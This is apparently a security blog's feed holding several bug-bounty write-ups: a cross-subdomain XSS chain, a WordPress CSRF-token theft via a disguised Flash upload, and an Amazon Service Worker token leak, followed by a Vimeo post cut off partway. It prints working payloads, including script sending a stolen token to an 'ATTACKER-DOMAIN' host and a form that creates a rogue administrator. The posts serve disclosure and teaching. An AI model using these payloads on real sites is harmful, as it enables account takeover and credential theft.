<p>This challenge demonstrated techniques to <strong>freeze the DOM</strong> , manipulate <strong>site isolation</strong> , and <strong>exploit JavaScript execution</strong> in different security contexts.</p>

<p>I hope you enjoyed this write-up and learned something new!</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Last month, I created an XSS challenge on my sandbox domain and named it myClock. The page contains JavaScript code that checks if the clock has been paused for 3 seconds. There are multiple ways to solve the challenge, and I allowed user interaction to encourage creative solutions. Let’s get started with an explanation of the challenge.]]></summary></entry><entry><title type="html">Hacking In-Scope Targets via Out-of-Scope Domains</title><link href="https://alsultani.me/2018/06/26/hacking-in-scope-targets-via-out-of-scope-domains.html" rel="alternate" type="text/html" title="Hacking In-Scope Targets via Out-of-Scope Domains" /><published>2018-06-26T12:00:00+00:00</published><updated>2018-06-26T12:00:00+00:00</updated><id>https://alsultani.me/2018/06/26/hacking-in-scope-targets-via-out-of-scope-domains</id><content type="html" xml:base="https://alsultani.me/2018/06/26/hacking-in-scope-targets-via-out-of-scope-domains.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>Last year, I received an invitation to a private <strong>bug bounty program</strong> on the <strong>HackerOne</strong> platform. Since I had some free time, I decided to give it a shot. This is the story of how I leveraged an <strong>out-of-scope domain</strong> to earn a <strong>$1250 bounty</strong>.</p>

<h3 id="understanding-out-of-scope-domains">Understanding Out-of-Scope Domains</h3>

<p><strong>Note:</strong> In this write-up, “out-of-scope” refers to <strong>out-of-scope domains</strong>, not vulnerabilities.</p>

<p>Bug bounty programs define out-of-scope domains for multiple reasons, such as:</p>

<ul>
  <li>The security team is aware of vulnerabilities in these domains and is working on fixing them before including them in scope.</li>
  <li>The bounty program has a limited budget and cannot cover all domains.</li>
  <li>The domains are intended for end-users, and any security testing could negatively impact them.</li>
</ul>

<p>However, <strong>out-of-scope domains can still be used for escalation</strong> in <strong>in-scope attacks</strong>. Many <strong>bug bounty reports</strong> have demonstrated successful exploits by <strong>chaining vulnerabilities</strong> from out-of-scope to in-scope domains. Some programs even accept <strong>RCE reports on out-of-scope domains</strong> (e.g., <a href="https://hackerone.com/mailru">Mail.ru’s bug bounty program</a>).</p>

<h2 id="reconnaissance-and-discovery">Reconnaissance and Discovery</h2>

<p>During my <strong>recon</strong>, I discovered a <strong>subdomain</strong> running <strong>AnswerHub</strong>. Coincidentally, I had previously found a <strong>stored XSS vulnerability</strong> in AnswerHub. Since I had already documented this issue in my past reports, I won’t go into full details here. You can read about similar findings in my previous write-ups:</p>

<ul>
  <li><a href="https://ahussam.me/how-i-hacked-oculus-oauth-ebay-ibm/">How I Hacked Oculus OAuth + eBay + IBM</a></li>
  <li><a href="http://127.0.0.1:4000/Amazon-leaking-csrf-token-using-service-worker/">Leaking Amazon.com CSRF Tokens Using Service Worker API</a></li>
</ul>

<h3 id="finding-an-out-of-scope-subdomain">Finding an Out-of-Scope Subdomain</h3>

<p>After checking the <strong>bug bounty rules</strong>, I used <a href="https://github.com/aboul3la/Sublist3r">Sublist3r</a> to <strong>enumerate subdomains</strong>. I found:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>answers.target.com
</code></pre></div></div>

<p>This subdomain was running <strong>AnswerHub</strong> and was vulnerable to the <strong>stored XSS</strong> I had previously discovered. However, it was <strong>not listed as an in-scope domain</strong> in the program rules.</p>

<p>I decided <strong>not to report it immediately</strong> but instead, continued searching for <strong>in-scope vulnerabilities</strong> that could be <strong>combined</strong> with this issue.</p>

<h2 id="exploiting-same-origin-policy-sop-misconfiguration">Exploiting Same-Origin Policy (SOP) Misconfiguration</h2>

<p>I then shifted focus to an <strong>Angular app</strong> hosted on:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>developer.market.target.com
</code></pre></div></div>

<p>I was testing <strong>JavaScript tricks</strong> when I discovered something interesting in the browser <strong>console</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;&gt; document.domain
&gt;&gt; "target.com"
</code></pre></div></div>

<h3 id="understanding-the-security-issue">Understanding the Security Issue</h3>

<p>The source code of <code class="language-plaintext highlighter-rouge">developer.market.target.com</code> included the following script:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>document.domain = "target.com";
</code></pre></div></div>

<p>This <strong>overrides the default Same-Origin Policy (SOP)</strong>, allowing subdomains <strong>under<code class="language-plaintext highlighter-rouge">target.com</code></strong> to interact with each other.</p>

<p>This meant that <strong>if I could execute JavaScript on<code class="language-plaintext highlighter-rouge">answers.target.com</code></strong>, I could manipulate <code class="language-plaintext highlighter-rouge">developer.market.target.com</code>, which was <strong>in-scope</strong>!</p>

<h3 id="bypassing-x-frame-options">Bypassing <code class="language-plaintext highlighter-rouge">X-Frame-Options</code></h3>

<p>To exploit this, I needed to <strong>embed<code class="language-plaintext highlighter-rouge">developer.market.target.com</code></strong> inside an <code class="language-plaintext highlighter-rouge">&lt;iframe&gt;</code>. However, it had the <strong><code class="language-plaintext highlighter-rouge">X-Frame-Options: DENY</code> header</strong>, preventing framing.</p>

<p>After further testing, I discovered that the <strong>/support/</strong> path <strong>did not</strong> enforce <code class="language-plaintext highlighter-rouge">X-Frame-Options</code>—meaning I could <strong>frame it!</strong></p>

<h2 id="the-proof-of-concept-poc">The Proof of Concept (PoC)</h2>

<p>I created a <strong>malicious XML file</strong> and uploaded it to <code class="language-plaintext highlighter-rouge">answers.target.com</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
    &lt;head&gt;
        &lt;title&gt;PoC&lt;/title&gt;
        &lt;script type="text/javascript"&gt;
             document.domain = 'target.com';
             function exploit() {
             var i = document.getElementById("my_frame");
             var exp = i.contentWindow.document.getElementsByClassName('ng-binding')[3].innerText;
             alert(exp);
             }
        &lt;/script&gt;   
    &lt;/head&gt;
  &lt;iframe src="https://developer.market.target.com/support/" id="my_frame" onload="exploit();"&gt;&lt;/iframe&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre></div></div>

<h2 id="exploit-validation">Exploit Validation</h2>

<p>After uploading the PoC file to <code class="language-plaintext highlighter-rouge">answers.target.com</code>, I confirmed that it <strong>executed JavaScript</strong> on <code class="language-plaintext highlighter-rouge">developer.market.target.com</code>—an <strong>in-scope domain</strong>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[![wp](/images/target1.png)](/images/target1.png)
</code></pre></div></div>

<h3 id="steps-to-reproduce">Steps to Reproduce:</h3>

<ol>
  <li>Go to <code class="language-plaintext highlighter-rouge">https://answers.target.com</code>, open any question, and click “Reply.”</li>
  <li>Upload <code class="language-plaintext highlighter-rouge">poc.xml</code> as an attachment and <strong>intercept the request</strong>.</li>
  <li>Modify <code class="language-plaintext highlighter-rouge">Content-Type</code> from <code class="language-plaintext highlighter-rouge">text/plain</code> to <code class="language-plaintext highlighter-rouge">text/xml</code> and <strong>forward the request</strong>.</li>
  <li>Visit the <strong>attachment URL</strong>. The exploit executes, displaying an alert box containing your username.</li>
</ol>

<h2 id="reporting-and-bounty">Reporting and Bounty</h2>

<p>I submitted the <strong>PoC report</strong> to the bug bounty program. The <strong>security team responded quickly</strong> and <strong>awarded me $1250</strong> for what was essentially an <strong>XSS attack</strong>!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[![wp](/images/target2.png)](/images/target2.png)
</code></pre></div></div>

<h2 id="remediation">Remediation</h2>

<p>The <strong>security team fixed the issue</strong> by:</p>

<ul>
  <li><strong>Applying a strict<code class="language-plaintext highlighter-rouge">X-Frame-Options</code> header</strong> across all subdomains.</li>
  <li><strong>Updating their CSP (Content Security Policy)</strong>.</li>
  <li><strong>Patching the AnswerHub vulnerability</strong> so XML files could no longer be executed.</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>This case highlights how <strong>out-of-scope domains</strong> can still be useful in <strong>bug bounty programs</strong>. By thinking outside the box, you can:</p>

<ul>
  <li><strong>Chain vulnerabilities</strong> across domains.</li>
  <li><strong>Bypass security policies</strong> using JavaScript tricks.</li>
  <li><strong>Leverage misconfigurations</strong> for <strong>greater impact</strong>.</li>
</ul>

<p>I hope you enjoyed this write-up and learned something valuable!</p>

<p>If you found this interesting, feel free to <strong>retweet</strong> and follow me on Twitter <a href="https://twitter.com/Abdulahhusam">@Abdulahhusam</a>.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Introduction]]></summary></entry><entry><title type="html">Obtaining WordPress CSRF Tokens for Fun, $1337 bounty, and CVE-2017-5489</title><link href="https://alsultani.me/2018/02/10/obtaining-wordpress-csrf-tokens-for-fun-1337-bounty-and-cve-2017-5489.html" rel="alternate" type="text/html" title="Obtaining WordPress CSRF Tokens for Fun, $1337 bounty, and CVE-2017-5489" /><published>2018-02-10T12:00:00+00:00</published><updated>2018-02-10T12:00:00+00:00</updated><id>https://alsultani.me/2018/02/10/obtaining-wordpress-csrf-tokens-for-fun-1337-bounty-and-cve-2017-5489</id><content type="html" xml:base="https://alsultani.me/2018/02/10/obtaining-wordpress-csrf-tokens-for-fun-1337-bounty-and-cve-2017-5489.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>In 2016, I was working on WordPress security, and today, I found an interesting finding. I am going to share it with you, so have a nice read.</p>

<h3 id="background">Background</h3>

<p>Before discussing the vulnerability, I want to talk about WordPress. For people who do not know WordPress, an open-source CMS based on PHP with millions of users worldwide and over 46 million downloads. For more statistics, visit this <a href="https://managewp.com/blog/14-surprising-statistics-about-wordpress-usage">article</a>. I started researching WordPress security, and since it is open-source, auditing code and functions would be an advantage for me. The source code is available <a href="https://github.com/WordPress/WordPress">here</a>.</p>

<p>Many hackers target WordPress because vulnerabilities can affect millions of websites. Companies even offer large bounties—up to <strong>$50K for an RCE</strong> in WordPress! More details are <a href="http://zerodium.com/program.html">here</a>.</p>

<h2 id="technical-details">Technical Details</h2>

<p>I started <strong>black-box testing</strong> WordPress to save time and understand its workflow. Given the vast number of files, I focused on specific functions as needed. Here are the <strong>user roles</strong> in WordPress:</p>

<ul>
  <li><strong>Super Admin</strong> — Full access across all network sites.</li>
  <li><strong>Administrator</strong> — Full control over a single site.</li>
  <li><strong>Editor</strong> — Can manage all posts.</li>
  <li><strong>Author</strong> — Can publish and manage their posts.</li>
  <li><strong>Contributor</strong> — Can write but not publish posts.</li>
  <li><strong>Subscriber</strong> — Can manage only their profile.</li>
</ul>

<p>I checked the <a href="https://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table">Capability_vs._Role_Table</a> and began testing <strong>low-privilege roles</strong>. <strong>Subscriber</strong> and <strong>Contributor</strong> roles were too limited, but as an <strong>Author</strong> , I could upload files—an attack vector worth exploring.</p>

<h3 id="file-upload-security-in-wordpress">File Upload Security in WordPress</h3>

<p>The <strong>upload functionality</strong> was interesting. I searched for the <strong>code responsible for handling uploads</strong> , which led me to these functions:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">getimagesize()</code> (PHP built-in function)</li>
  <li><code class="language-plaintext highlighter-rouge">wp_check_filetype_and_ext()</code> (WordPress function)</li>
  <li><code class="language-plaintext highlighter-rouge">wp_check_filetype()</code> (WordPress function)</li>
</ul>

<p>These functions <strong>checked file types</strong> based on <strong>MIME type</strong> and <strong>file extensions</strong>. However, <strong><code class="language-plaintext highlighter-rouge">getimagesize()</code></strong> had a critical security issue <strong>many PHP developers overlook</strong> :</p>

<blockquote>
  <p><code class="language-plaintext highlighter-rouge">getimagesize()</code> supports SWF (Flash) files and treats them as images!</p>
</blockquote>

<p>This meant I could <strong>upload an SWF file disguised as a JPG</strong> , bypassing security filters.</p>

<h2 id="exploiting-the-vulnerability">Exploiting the Vulnerability</h2>

<p>I created a <strong>simple Flash file</strong> with the magic number <code class="language-plaintext highlighter-rouge">CWS</code>, changed its <strong>extension to<code class="language-plaintext highlighter-rouge">.JPG</code></strong>, and uploaded it via:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://127.0.0.1/wordpress/wp-admin/media-new.php
</code></pre></div></div>

<h3 id="exploiting-same-origin-policy-sop">Exploiting Same-Origin Policy (SOP)</h3>

<p>Since the <strong>uploaded Flash file</strong> was hosted <strong>on the same origin</strong> , it could read <strong>CSRF tokens</strong> and <strong>sensitive data</strong> from <code class="language-plaintext highlighter-rouge">wp-admin</code> pages. The attack worked by <strong>forcing the browser to interpret the file as Flash instead of an image</strong> using:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;object data="Ourfile.ext" type="application/x-shockwave-flash"&gt;&lt;/object&gt;
</code></pre></div></div>

<h3 id="steps-to-attack">Steps to Attack</h3>

<ol>
  <li><strong>Upload a disguised Flash file</strong> (SWF — JPG).</li>
  <li><strong>Leverage Same-Origin Policy (SOP)</strong> to access <code class="language-plaintext highlighter-rouge">wp-admin</code> data.</li>
  <li><strong>Extract CSRF tokens</strong> for admin actions.</li>
</ol>

<h3 id="flash-payload-wp_pocas">Flash Payload (<code class="language-plaintext highlighter-rouge">wp_poc.as</code>)</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>package {
import flash.external.ExternalInterface;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;

public class wp_poc extends Sprite {
    private var myloader:URLLoader;
    public function wp_poc() {
        myloader = new URLLoader();
        configureListeners(myloader);
        var target:String = root.loaderInfo.parameters.input;
        var request:URLRequest = new URLRequest(target);
        try {
            myloader.load(request);
        } catch (error:Error) {
            steal("Error loading page!");
        }
    }
    private function configureListeners(dispatcher:IEventDispatcher):void {
        dispatcher.addEventListener(Event.COMPLETE, completeHandler);
    }
    private function completeHandler(event:Event):void {
        var myloader:URLLoader = URLLoader(event.target);
        steal(myloader.data);
    }
    private function steal(data:String):void{
        ExternalInterface.call("stealtoken", data);
    }
}
}
</code></pre></div></div>

<p>The compiled SWF file was renamed <strong><code class="language-plaintext highlighter-rouge">wp_poc.jpg</code></strong> and uploaded via an <strong>Author</strong> account.</p>

<h3 id="extracting-the-csrf-token">Extracting the CSRF Token</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;script&gt;
function stealtoken(data) {
    var token = data.substring(data.lastIndexOf('wpnonce_create-user') + 28, data.lastIndexOf('wpnonce_create-user') + 38);
    alert('CSRF Token: ' + token);
    document.location = "http://ATTACKER-DOMAIN/wordpress_csrf.php?token=" + token;
}
&lt;/script&gt;

&lt;object id="exploit" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" 
data="http://127.0.0.1/wordpress/wp-content/uploads/2017/10/wp_poc.jpg?input=http://127.0.0.1/wordpress/wp-admin/user-new.php"&gt;
&lt;/object&gt;
</code></pre></div></div>

<h3 id="csrf-exploit-to-add-an-admin-user-wordpress_csrfphp">CSRF Exploit to Add an Admin User (<code class="language-plaintext highlighter-rouge">wordpress_csrf.php</code>)</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;form method="POST" name="csrf" action="http://127.0.0.1/wordpress/wp-admin/user-new.php"&gt;
    &lt;input type="hidden" name="action" value="createuser" /&gt;
    &lt;input type="hidden" name="_wpnonce_create-user" value="&lt;?php echo $_GET['token']; ?&gt;" /&gt;
    &lt;input type="hidden" name="user_login" value="Pwned" /&gt;
    &lt;input type="hidden" name="email" value="admin@attacker.com" /&gt;
    &lt;input type="hidden" name="role" value="administrator" /&gt;
&lt;/form&gt;
&lt;script&gt;document.forms["csrf"].submit();&lt;/script&gt;
</code></pre></div></div>

<h3 id="poc-video">PoC Video:</h3>

<iframe width="670" height="315" src="https://www.youtube.com/embed/p0x3Q7y4U_Q" frameborder="0" allowfullscreen=""></iframe>

<h3 id="exploit-flow">Exploit Flow:</h3>

<p><a href="/images/wp.png"><img src="/images/wp.png" alt="wp" /></a></p>

<h2 id="remediation">Remediation</h2>

<p>After reporting this vulnerability via <a href="https://hackerone.com/reports/149589">HackerOne</a>, WordPress <strong>took over four months to patch it</strong> , as it affected <strong>all WordPress versions</strong>.</p>

<ul>
  <li><strong>Reward:</strong> $1337</li>
  <li><strong>CVE Assigned:</strong> CVE-2017-5489</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>This write-up highlights:</p>

<ul>
  <li><strong>Security risks of<code class="language-plaintext highlighter-rouge">getimagesize()</code></strong></li>
  <li><strong>How misconfigured file upload checks can lead to severe vulnerabilities</strong></li>
  <li><strong>The power of SOP in executing exploits</strong></li>
</ul>

<p>Thanks for reading! If you found this useful, feel free to share.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Introduction]]></summary></entry><entry><title type="html">Leaking Amazon.com CSRF Tokens Using Service Worker API</title><link href="https://alsultani.me/2017/10/11/leaking-amazoncom-csrf-tokens-using-service-worker-api.html" rel="alternate" type="text/html" title="Leaking Amazon.com CSRF Tokens Using Service Worker API" /><published>2017-10-11T12:00:00+00:00</published><updated>2017-10-11T12:00:00+00:00</updated><id>https://alsultani.me/2017/10/11/leaking-amazoncom-csrf-tokens-using-service-worker-api</id><content type="html" xml:base="https://alsultani.me/2017/10/11/leaking-amazoncom-csrf-tokens-using-service-worker-api.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>Hello all, I have some free time today, so I will tell you about my finding at <strong>Amazon</strong> that could have led to a <strong>complete account takeover</strong>.</p>

<h3 id="background">Background</h3>

<p>I was working on a <strong>private bug bounty program</strong> when I found something interesting. The platform used <strong>AnswerHub</strong>, a third-party service I had encountered before. Since I had already discovered vulnerabilities in AnswerHub, I knew it was worth revisiting. I started by testing its <strong>upload functionality</strong>, and within a short time, I found a <strong>stored XSS vulnerability</strong> via file upload. Although the domain was <strong>out-of-scope</strong>, I demonstrated how it could <strong>affect an in-scope domain</strong>, which earned me a <strong>$1250 bounty</strong>.</p>

<p>While working on this, I noticed that <strong>Amazon</strong> also used AnswerHub. Since <strong>Amazon’s <code class="language-plaintext highlighter-rouge">crossdomain.xml</code> was very permissive</strong>, I considered a new attack vector: <strong>if I could upload an SWF file on an Amazon subdomain, I might be able to steal data from the main Amazon website.</strong> However, Amazon did not allow <strong>Flash content</strong> to be uploaded.</p>

<p>This led me to an alternative method—<strong>leveraging Service Workers</strong> to <strong>steal CSRF tokens</strong> from Amazon.com.</p>

<h2 id="technical-details">Technical Details</h2>

<p>Most of you are probably here for the technical part rather than the backstory, so let’s get into the exploit step-by-step.</p>

<h3 id="finding-the-target">Finding the Target</h3>

<p>I searched for <strong>big companies using AnswerHub</strong> using this <strong>Google Dork</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>inurl:/questions/ask.html inurl:https://
</code></pre></div></div>

<p>Amazon appeared in the results, and <strong>their permissive <code class="language-plaintext highlighter-rouge">crossdomain.xml</code> caught my attention</strong>.</p>

<p><a href="/images/amazon1.png"><img src="/images/amazon1.png" alt="amazon" /></a></p>

<h3 id="failed-swf-upload">Failed SWF Upload</h3>

<p>My target was <strong>gamedev.amazon.com</strong>. I attempted to <strong>upload an SWF file</strong> but was unsuccessful. However, I already had <strong>stored XSS</strong> using <strong>SVG file uploads</strong>. This gave me a new idea—<strong>using a Service Worker to proxy traffic and hijack requests.</strong></p>

<h3 id="understanding-the-service-worker-api">Understanding the Service Worker API</h3>

<p>A <strong>Service Worker</strong> is a script that runs in the background, separate from a web page. It can:</p>

<ul>
  <li><strong>Intercept and modify network requests</strong></li>
  <li><strong>Handle caching and offline access</strong></li>
  <li><strong>Work independently of user interactions</strong></li>
</ul>

<p>For more details, check the <strong>MDN documentation</strong>: <a href="https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a>.</p>

<h2 id="exploit-development">Exploit Development</h2>

<h3 id="step-1-actionscript-for-extracting-csrf-tokens">Step 1: ActionScript for Extracting CSRF Tokens</h3>

<p>I created an <strong>ActionScript file</strong> to request a specific Amazon page and extract the <strong>CSRF token</strong>.</p>

<div class="language-actionscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">import</span> <span class="nx">flash</span><span class="p">.</span><span class="nx">external</span><span class="p">.</span><span class="o">*;</span>
<span class="kr">import</span> <span class="nx">flash</span><span class="p">.</span><span class="nx">net</span><span class="p">.</span><span class="o">*;</span>

<span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
   <span class="kd">var</span> <span class="nx">loader</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URLLoader</span><span class="p">(</span><span class="k">new</span> <span class="nx">URLRequest</span><span class="p">(</span><span class="s2">"https://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441/"</span><span class="p">))</span><span class="o">;</span>
   <span class="nx">loader</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">"complete"</span><span class="p">,</span> <span class="nx">loaderCompleted</span><span class="p">)</span><span class="o">;</span>
   <span class="kd">function</span> <span class="nx">loaderCompleted</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
       <span class="nx">ExternalInterface</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="s2">"alert"</span><span class="p">,</span> <span class="nx">event</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">189270</span><span class="p">,</span><span class="mi">189335</span><span class="p">))</span><span class="o">;</span>
   <span class="p">}</span>
<span class="p">})()</span><span class="o">;</span>
</code></pre></div></div>

<p>I hosted this on <strong>my server (<code class="language-plaintext highlighter-rouge">ahussam.me</code>)</strong> as <code class="language-plaintext highlighter-rouge">myexp.as</code> and used <strong>Flex SDK</strong> to generate the <strong>SWF file</strong>.</p>

<h3 id="step-2-javascript-service-worker">Step 2: JavaScript Service Worker</h3>

<p>The Service Worker proxies requests and returns the <strong>SWF file</strong> when triggered.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">url</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">https://ahussam.me/myexp.swf</span><span class="dl">"</span><span class="p">;</span>
<span class="nx">onfetch</span> <span class="o">=</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">e</span><span class="p">.</span><span class="nf">respondWith</span><span class="p">(</span><span class="nf">fetch</span><span class="p">(</span><span class="nx">url</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This installed <strong><code class="language-plaintext highlighter-rouge">myexp.swf</code></strong> on a specific <strong>path</strong>, enabling it to steal <strong>CSRF tokens</strong> from <code class="language-plaintext highlighter-rouge">amazon.com</code>.</p>

<h3 id="step-3-uploading-the-exploit">Step 3: Uploading the Exploit</h3>

<p>To bypass file type restrictions, I:</p>

<ul>
  <li>Renamed the <strong>JavaScript Service Worker</strong> as <code class="language-plaintext highlighter-rouge">sw.txt</code></li>
  <li>Changed the <strong>Content-Type</strong></li>
  <li>Uploaded it to <strong>Amazon’s AnswerHub</strong></li>
</ul>

<p>After upload, the file was renamed to <code class="language-plaintext highlighter-rouge">4837-sw.txt</code>.</p>

<p><a href="/images/amazon2.png"><img src="/images/amazon2.png" alt="amazon" /></a></p>

<h3 id="step-4-registering-the-service-worker">Step 4: Registering the Service Worker</h3>

<p>I used an <strong>SVG file</strong> with JavaScript to <strong>register the Service Worker</strong>:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if </span><span class="p">(</span><span class="dl">'</span><span class="s1">serviceWorker</span><span class="dl">'</span> <span class="k">in</span> <span class="nb">navigator</span><span class="p">)</span> <span class="p">{</span>
    <span class="nb">navigator</span><span class="p">.</span><span class="nx">serviceWorker</span><span class="p">.</span><span class="nf">register</span><span class="p">(</span><span class="dl">'</span><span class="s1">4837-sw.txt</span><span class="dl">'</span><span class="p">).</span><span class="nf">then</span><span class="p">(</span><span class="nx">_</span><span class="o">=&gt;</span><span class="nx">location</span><span class="o">=</span><span class="mi">1337</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I bypassed extension restrictions using <strong>content-type modification</strong>, and the HTTP request looked like this:</p>

<p><a href="/images/amazon3.png"><img src="/images/amazon3.png" alt="amazon" /></a></p>

<h3 id="step-5-triggering-the-exploit">Step 5: Triggering the Exploit</h3>

<p>Once installed, the <strong>Service Worker</strong> intercepted requests and served the <strong>SWF payload</strong>, which successfully extracted <strong>Amazon’s CSRF token</strong>.</p>

<p>Here’s the <strong>PoC URL</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://gamedev.amazon.com/forums/storage/attachments/4937-svg.txt
</code></pre></div></div>

<p>After debugging (the <strong>Service Worker only works on HTTPS</strong>), the attack worked:</p>

<p><a href="/images/amazon4.png"><img src="/images/amazon4.png" alt="amazon" /></a></p>

<h2 id="reporting-to-amazon">Reporting to Amazon</h2>

<p>I reported the issue to Amazon’s security team, but <strong>they initially struggled to reproduce it</strong> due to the complexity of the exploit.</p>

<p><strong>Then, they deleted my PoC and blocked me!</strong></p>

<p>I created a <strong>PoC video</strong>, and after multiple follow-ups, they finally reproduced the vulnerability. However, <strong>after months of waiting, they never replied</strong>. I later discovered that the issue had been silently <strong>patched without any acknowledgment</strong>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>This attack could have led to:</p>

<ul>
  <li><strong>Full account takeover</strong> (modifying user phone numbers)</li>
  <li><strong>CSRF attacks</strong></li>
  <li><strong>Leaking sensitive user data</strong></li>
  <li><strong>OAuth token hijacking</strong></li>
  <li><strong>Address disclosure</strong></li>
</ul>

<h3 id="lessons-learned">Lessons Learned:</h3>

<ul>
  <li><strong>Service Workers can be a serious attack vector if misused.</strong></li>
  <li><strong>Permissive <code class="language-plaintext highlighter-rouge">crossdomain.xml</code> files can lead to data leaks.</strong></li>
  <li><strong>Bug bounty programs don’t always reward impactful reports.</strong></li>
</ul>

<h3 id="final-thoughts">Final Thoughts</h3>

<p>I hope you found this write-up insightful. If you have any thoughts or questions, feel free to reach out!</p>

<p>Also, <strong>this method was used in the Cure53 XSSmas challenge</strong>, so if you’re interested, check out the solution write-up.</p>

<p>Thanks for reading!</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Introduction]]></summary></entry><entry><title type="html">How I Hijacked Private Vimeo Videos via Flash</title><link href="https://alsultani.me/2016/11/11/how-i-hijacked-private-vimeo-videos-via-flash.html" rel="alternate" type="text/html" title="How I Hijacked Private Vimeo Videos via Flash" /><published>2016-11-11T12:00:00+00:00</published><updated>2016-11-11T12:00:00+00:00</updated><id>https://alsultani.me/2016/11/11/how-i-hijacked-private-vimeo-videos-via-flash</id><content type="html" xml:base="https://alsultani.me/2016/11/11/how-i-hijacked-private-vimeo-videos-via-flash.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>Today, I’ll share one of my <strong>worst experiences</strong> with a bug bounty program, specifically with <strong>Vimeo’s security team</strong>.</p>

<h3 id="what-is-vimeo">What is Vimeo?</h3>

<blockquote>
  <p>Vimeo is a video-sharing platform where users can upload, share, and view videos. It was the first major site to support <strong>high-definition video</strong> (since October 2007). Vimeo was founded in November 2004 by <strong>Jake Lodwick</strong> and <strong>Zach Klein</strong>.</p>
</blockquote>

<p>Vimeo launched its <strong>bug bounty program on HackerOne</strong> two years ago. While I hadn’t been very active in bug hunting, I noticed that they <strong>paid $600</strong> for vulnerabilities that <strong>exposed private videos</strong> or <strong>allowed CSRF attacks</strong> that made private videos public. Since they didn’t offer high bounties for <strong>XSS or minor bugs</strong> , I focused on <strong>finding a way to leak private videos</strong> , which was their highest payout category.</p>

<h2 id="finding-the-vulnerability">Finding the Vulnerability</h2>

<p>To get started, I researched <strong>previous reports</strong> related to <strong>crossdomain.xml misconfigurations</strong> , since many old reports suggested that this file had been a problem for Vimeo in the past.</p>

<p>Vimeo’s rules stated that:</p>

<blockquote>
  <p>Reports of insecure <code class="language-plaintext highlighter-rouge">crossdomain.xml</code> configuration (again, unless you have a working proof of concept and not just a report from a scanner) will not be accepted.</p>
</blockquote>

<p>So, I began searching for <strong>crossdomain.xml</strong> files across their various subdomains. Eventually, I found this one:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://player.vimeo.com/crossdomain.xml
</code></pre></div></div>

<p><a href="/images/vim1.png"><img src="/images/vim1.png" alt="vimeo" /></a></p>

<p>This file <strong>allowed any domain</strong> to send requests to <code class="language-plaintext highlighter-rouge">player.vimeo.com</code>. While this <strong>wasn’t immediately a security issue</strong> , I kept investigating to see <strong>what could be leaked</strong> , such as <strong>CSRF tokens, usernames, emails, or private video content</strong>.</p>

<h2 id="exploiting-the-misconfiguration">Exploiting the Misconfiguration</h2>

<h3 id="step-1-identifying-a-target">Step 1: Identifying a Target</h3>

<p>I uploaded a <strong>private video</strong> to Vimeo and set the <strong>privacy settings to ‘Only Me’</strong>. Then, I accessed the video at:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://player.vimeo.com/video/182118182
</code></pre></div></div>

<p>I opened the video in two browsers:</p>

<ul>
  <li><strong>Firefox</strong> (Logged in as <code class="language-plaintext highlighter-rouge">user36551307</code> with access to the private video)</li>
  <li><strong>Chrome</strong> (Logged out, no access to private content)</li>
</ul>

